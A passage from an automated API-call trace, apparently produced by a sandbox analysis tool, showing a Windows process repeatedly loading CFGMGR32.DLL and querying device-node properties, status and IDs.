[0226.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.980] malloc (_Size=0x18) returned 0x20abc281f60 [0226.980] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.983] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x430dcade, dwHighDateTime=0x1d9eb0c)) [0226.984] SetEvent (hEvent=0x248) returned 1 [0226.988] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.988] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.992] malloc (_Size=0x18) returned 0x20abc281a00 [0226.992] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xf, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0226.992] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x43102ab5, dwHighDateTime=0x1d9eb0c)) [0226.993] SetEvent (hEvent=0x248) returned 1 [0226.997] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.997] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.000] malloc (_Size=0x18) returned 0x20abc281b00 [0227.128] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xf, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0227.128] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4325cf04, dwHighDateTime=0x1d9eb0c)) [0227.129] SetEvent (hEvent=0x248) returned 1 [0227.135] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.136] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.140] malloc (_Size=0x18) returned 0x20abc281960 [0227.140] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0227.140] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4325cf04, dwHighDateTime=0x1d9eb0c)) [0227.141] SetEvent (hEvent=0x248) returned 1 [0227.159] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.159] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.162] malloc (_Size=0x18) returned 0x20abc281960 [0227.162] CM_Get_Device_IDA (in: dnDevInst=0x10, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0303\\4&22F5829E&0") returned 0x0 [0227.162] malloc (_Size=0x48) returned 0x20abc27cb20 [0227.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x432a82d4, dwHighDateTime=0x1d9eb0c)) [0227.163] SetEvent (hEvent=0x248) returned 1 [0227.166] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.166] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.170] malloc (_Size=0x18) returned 0x20abc281de0 [0227.170] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0227.170] malloc (_Size=0x5a) returned 0x20abc280370 [0227.171] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280370, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280370, pulLength=0x2dc22fd3f8) returned 0x0 [0227.171] free (_Block=0x20abc280370) [0227.171] malloc (_Size=0x48) returned 0x20abc27cb20 [0227.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x432a82d4, dwHighDateTime=0x1d9eb0c)) [0227.172] SetEvent (hEvent=0x248) returned 1 [0227.175] malloc (_Size=0x18) returned 0x20abc281e00 [0227.175] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0227.175] free (_Block=0x20abc281e00) [0227.175] malloc (_Size=0x18) returned 0x20abc281bc0 [0227.175] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0227.175] free (_Block=0x20abc281bc0) [0227.175] malloc (_Size=0x18) returned 0x20abc281d40 [0227.176] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0227.176] free (_Block=0x20abc281d40) [0227.176] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c170 [0227.176] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0227.176] SafeArrayGetLBound (in: psa=0x20abba804d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0227.176] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0227.176] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0227.176] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0227.176] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0227.176] SafeArrayGetElemsize (psa=0x20abba804d0) returned 0x8 [0227.176] SafeArrayGetElement (in: psa=0x20abba804d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0227.177] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0227.177] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0227.177] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0227.178] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0227.178] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c170) returned 1 [0227.179] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.179] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.180] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.180] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.180] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.180] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.180] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.180] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.181] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.181] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.181] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.181] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.181] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.181] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.183] malloc (_Size=0x18) returned 0x20abc281e20 [0227.183] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0227.184] malloc (_Size=0x48) returned 0x20abc27cb20 [0227.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x432cc863, dwHighDateTime=0x1d9eb0c)) [0227.184] SetEvent (hEvent=0x248) returned 1 [0227.301] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.301] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.306] malloc (_Size=0x18) returned 0x20abc281d20 [0227.306] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, 